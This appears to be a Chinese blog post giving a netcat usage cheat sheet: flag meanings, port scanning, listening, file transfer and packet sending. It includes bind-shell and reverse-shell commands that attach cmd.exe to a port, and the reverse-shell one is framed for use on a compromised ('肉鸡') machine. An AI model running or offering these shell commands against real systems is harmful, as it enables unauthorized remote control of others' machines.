NC的使用

NC的使用

参数:

-e prog 程序重定向,一旦连接,就执行 [危险!!]

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, ...

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-n 指定数字的IP地址,不能用hostname

-o file 记录16进制的传输

-p port 本地端口号

-r 任意指定本地及远程端口

-s addr 本地源地址

-u UDP模式(TCP模式)

-v 详细输出——用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉——用于扫描时

NC 常用的命令格式 :

1.扫描器功能: 

nc -vv ip port (单IP单端口的扫描格式)
nc -vv ip port-port(单IP多端口的扫描格式)
ctrl+c停止扫描(中断会话)
参数解释:
port:端口
-v:显示详细过程
-vv:显示非常详细的过程

2.监听功能

nc -l -p port
nc -l -p port > e:/log.txt
nc -v -l -p port
nc -vv -l -p port                  //通常用这条命令
nc -vv -t -l -p port -e cmd.exe   //把本地的cmd.exe定向到我们的定义的port(端口)上
nc -vv -e cmd.exe ip地址 端口     //反向连接   (本地执行监听命令,肉鸡执行反向连接命令)

参数解释:

-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息
-t: 以telnet的方式应答

3.传送文件功能: 

nc -v -n ip port < x:/1.txt(本地机器运行)
nc -v -l -p port > y:/2.txt(对方机器运行)

参数解释:

-n:指定的IP地址
这两个命令结合起来是用来传送文件的
首先,在远程机上运行命令:
nc -v -l -p 99 > e:/2.txt
监听本地的99端口,如果99端口接受到信息,就发送到e:/,名字为2.txt保存!
这时候在本地机上运行
nc -v -n ip 99 < e:/cmdtools/2.txt
这个命令的意思就是,从本地E盘cmdtools目录中读取2.txt文件的内容,并把这些数据发送到指定IP的99端口上

注意:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe . 

4、 端口数据发包和抓包. 

nc -vv -l -p port

nc ip(或者域名) port <1.txt         将1.txt发送到指定IP的端口上

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值